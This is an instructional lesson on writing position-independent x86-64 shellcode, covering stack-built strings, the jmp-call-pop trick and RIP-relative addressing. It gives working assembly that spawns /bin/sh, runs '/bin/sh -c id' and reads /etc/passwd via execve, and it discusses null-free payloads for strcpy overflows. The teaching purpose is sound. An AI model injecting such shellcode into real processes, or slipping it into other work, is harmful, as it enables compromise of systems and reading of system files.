Position-Independent Shellcode
Shellcode lands at an address the attacker can't pin down ahead of time. The buffer you overflow might sit at 0x7fffffffe100 on one run and 0x7fff4a3be200 on the next, particularly with ASLR doing its job. So shellcode can't bake in absolute addresses — every memory reference has to be relative to where the shellcode itself happens to be. That property — position independence — is the binding constraint of shellcode development.
The Problem: Where Am I?
In ordinary assembly, you can name your data and let the linker fill in an address:
; Normal assembly -- absolute addressing (NOT position-independent)section .data path db "/bin/sh", 0
section .text mov rdi, path ; rdi = absolute address of path ; ...The linker pins path to some fixed address like 0x402000. Shellcode has no linker, no sections, no fixed addresses. Hard-coding 0x402000 only works if the string happens to land at that exact address — which it absolutely won't when your shellcode is injected into someone else's process.
So the question is: how does shellcode find its own data without knowing where it is?
Solution 1: Build Data on the Stack
Easiest move — assemble your strings and data structures on the stack at runtime. rsp is always there, always usable:
; Push "/bin/sh" onto the stackxor rsi, rsi ; rsi = 0push rsi ; null terminator on stackmov rdi, 0x68732f6e69622f ; "/bin/sh" packed into 64 bitspush rdi ; push the stringmov rdi, rsp ; rdi points to "/bin/sh\0" on stackThis works because rsp always points at the top of the stack, regardless of where your shellcode is parked. After the two pushes, rsp is sitting on the string we just built, so we copy that into rdi.
For longer strings or several of them, chain the pushes:
; execve("/bin/cat", ["/bin/cat", "/etc/passwd", NULL], NULL); Build both strings and the argv array on the stack.; Each push moves rsp by 8, so a string longer than 8 bytes; needs several pushes -- highest 8 bytes first, lowest last.
xor rdx, rdx ; envp = NULL, and a handy zero
; "/etc/passwd" (11 bytes + terminator) mov rax, 0x647773 ; "swd" (top 5 bytes zero: the terminator) push rax mov rax, 0x7361702f6374652f ; "/etc/pas" push rax mov rsi, rsp ; rsi -> "/etc/passwd"
; "/bin/cat" (exactly 8 bytes, so a separate terminator push) push rdx ; 8 zero bytes mov rax, 0x7461632f6e69622f ; "/bin/cat" push rax mov rdi, rsp ; rdi -> "/bin/cat"
; argv = ["/bin/cat", "/etc/passwd", NULL], pushed in reverse push rdx ; NULL that ends argv push rsi ; pointer to "/etc/passwd" push rdi ; pointer to "/bin/cat" mov rsi, rsp ; rsi -> argv arrayTwo things the broken "just push the string" version gets wrong: a path that isn't a multiple of 8 bytes needs its chunks ordered so no stray NUL lands in the middle of the string, and execve's second argument is an array of pointers (argv), not a pointer to the path. These immediates still carry zero bytes (mov rax, 0x647773 and push rdx), which the next lesson strips out.
Solution 2: The JMP-CALL-POP Technique
Stack-building works fine for short strings; for bigger payloads it gets unwieldy fast. The jmp-call-pop trick is the classic answer. It abuses the fact that call pushes the address of the next instruction onto the stack — which is exactly where you've parked the data, immediately after the call.
; JMP-CALL-POP technique jmp short get_address ; jump forward over the data ; (2-byte short jump, no absolute address)
shellcode_body: pop rdi ; rdi = address of "/bin/sh" string ; (popped from stack, placed there by CALL) xor rsi, rsi ; argv = NULL xor rdx, rdx ; envp = NULL xor rax, rax mov al, 59 ; execve syscall
get_address: call shellcode_body ; pushes address of the NEXT byte onto stack ; the next byte is the start of our string data db "/bin/sh", 0 ; the string data, immediately after the CALLcall pushes the address of the instruction after it onto the stack, then jumps to its target. In the jmp-call-pop pattern, you place your data right after the call. When call runs, that data's address goes onto the stack. The target of the call then pops the address into a register. The shellcode now has a pointer to its own embedded data with zero absolute addresses involved. This one pattern is what makes position-independent data references work across all x86 shellcode.
Step through the execution one piece at a time:
Step 1: JMP get_address Execution jumps forward past shellcode_body
Step 2: CALL shellcode_body CPU pushes address of db "/bin/sh" onto stack Then jumps backward to shellcode_body
Step 3: POP rdi Pops the address of "/bin/sh" from stack into rdi Now rdi points to our string, regardless of where in memory we are
Step 4: syscall execve("/bin/sh", NULL, NULL)The layout is also why the trick is null-free. Here are the real bytes, 29 in all, loaded into the analyser. Find eb 0e at the start: a short jump 14 bytes forward. Then e8 ed ff ff ff, the call, whose 32-bit offset is -19 because it points backwards. A forward call over the same distance would encode as e8 0e 00 00 00, three zeros in a row. The string follows the call, 2f 62 69 6e 2f 73 68 for /bin/sh.
Shellcode Analyzer & Encoder
Byte Analysis (29 bytes, 1 null bytes):
Found 1 null byte(s) — shellcode will be truncated by strcpy/string functions
29
Total bytes
1
Null bytes
22
Unique bytes
The analyser flags one 00, the string's terminator in the very last byte. That one is often free. A strcpy-style copy stops just before the end of the payload and then writes a terminating zero of its own, which is exactly the byte this string needs.
Solution 3: RIP-Relative Addressing (x86-64)
x86-64 brought RIP-relative addressing, which makes position-independent code substantially nicer:
; x86-64 RIP-relative addressing lea rdi, [rel message] ; rdi = address of message, position-independent ; ...
message: db "/bin/sh", 0lea rdi, [rel message] encodes as a RIP-relative offset — "load the address N bytes from the current instruction pointer." Because the offset's relative, the same instruction works no matter where the code is loaded.
There's a catch though. Assemblers typically park the data in its own section, and the [rel message] syntax needs the offset resolved at assembly time. In raw shellcode you may have to compute the offset by hand or fall back to jmp-call-pop.
A second catch for null-free shellcode: a short forward offset is itself mostly zeros. lea rdi, [rel message] ten bytes ahead assembles to 48 8d 3d 0a 00 00 00 — three NUL bytes in the displacement. The backward call in jmp-call-pop dodges this because a negative offset fills those bytes with ff. If you need RIP-relative addressing and a null-free payload, you're back to arranging the offset so it carries no zero bytes.
Comparing the Techniques
; Technique 1: Stack-based string construction; Pros: No embedded data, compact; Cons: Awkward for long strings, requires careful packingxor rsi, rsipush rsimov rdi, 0x68732f6e69622fpush rdimov rdi, rsp
; Technique 2: JMP-CALL-POP; Pros: Works for any data size, clear structure; Cons: Slightly more bytes, forward/backward jumps jmp short .data.code: pop rdi ; ... use rdi ....data: call .code db "/bin/sh", 0
; Technique 3: RIP-relative LEA (x86-64 only); Pros: Cleanest syntax, one instruction; Cons: Only on x86-64, may need manual offset calculation lea rdi, [rel .str] ; ....str: db "/bin/sh", 0Contrasting PIC Shellcode with Normal Assembly
In ordinary assembly the linker takes care of every address:
; Normal assembly -- linker resolves addressessection .data msg db "Hello", 10, 0
section .text global _start_start: mov rax, 1 ; sys_write mov rdi, 1 ; stdout mov rsi, msg ; absolute address, resolved by linker mov rdx, 6 ; length syscallIn PIC shellcode you carry everything yourself:
; Position-independent shellcode -- no linker, no sections jmp short .get_msg
.write_msg: pop rsi ; rsi = address of "Hello\n" (from call) xor rax, rax mov al, 1 ; sys_write (avoiding null bytes) xor rdi, rdi mov dil, 1 ; stdout xor rdx, rdx mov dl, 6 ; length syscall
xor rax, rax mov al, 60 ; sys_exit xor rdi, rdi ; exit code 0 syscall
.get_msg: call .write_msg db "Hello", 10 ; string data, address pushed by callThe fingerprints of PIC shellcode show up everywhere — no section directives, no linker-resolved symbol names, no null bytes in instructions, and string data tucked inline with the code via jmp-call-pop.
Building an Argument Vector
Sometimes the shellcode needs to pass arguments. For execve, the second argument argv is a pointer to an array of string pointers. Build it on the stack:
; execve("/bin/sh", ["/bin/sh", "-c", "id"], NULL); Building argv on the stack
xor rdx, rdx ; envp = NULL
; Push "id\0" onto the stack (null-terminated) push rdx ; null terminator push word 0x6469 ; "id" (2 bytes) mov rcx, rsp ; rcx -> "id"
; Push "-c\0" push rdx push word 0x632d ; "-c" mov rbx, rsp ; rbx -> "-c"
; Push "/bin/sh\0" push rdx mov rdi, 0x68732f6e69622f push rdi mov rdi, rsp ; rdi -> "/bin/sh"
; Build argv array: ["/bin/sh", "-c", "id", NULL] push rdx ; NULL terminator for argv push rcx ; pointer to "id" push rbx ; pointer to "-c" push rdi ; pointer to "/bin/sh" mov rsi, rsp ; rsi -> argv array
xor rax, rax mov al, 59 ; execve syscallBoth the strings and the pointer array live on the stack — zero absolute addresses involved.
When you build data on the stack, remember push moves in 8-byte chunks on x86-64. A push word of two bytes nudges rsp by 2, which can knock the stack out of alignment. Some syscalls and library calls need 16-byte alignment. Shellcode that sticks to bare syscalls usually shrugs off misalignment, but watch for it the moment your code starts talking to libraries.
Common Pitfalls
Forgetting the null terminator: strings passed to syscalls have to be null-terminated. Build a string on the stack and skip the trailing zero, and the kernel happily reads past it into whatever rubbish was there before.
Endianness confusion: x86-64 is little-endian. Load 0x68732f6e69622f into a register and push it, and the bytes in memory come out as 2f 62 69 6e 2f 73 68 — /bin/sh reading low to high. Get the byte order wrong and you've pushed garbage.
Trampling your own data: shellcode builds data on the stack and also uses the stack for general push/pop. Lose track of where rsp is and you'll overwrite a string you carefully built two instructions ago.
What is Next
Position independence settles the addressing problem and immediately opens a new one: a lot of those instructions encode with null bytes baked in. The next lesson covers null-byte elimination — reshaping shellcode so it carries no \x00 bytes, which is mandatory whenever your delivery vector is a string function like strcpy.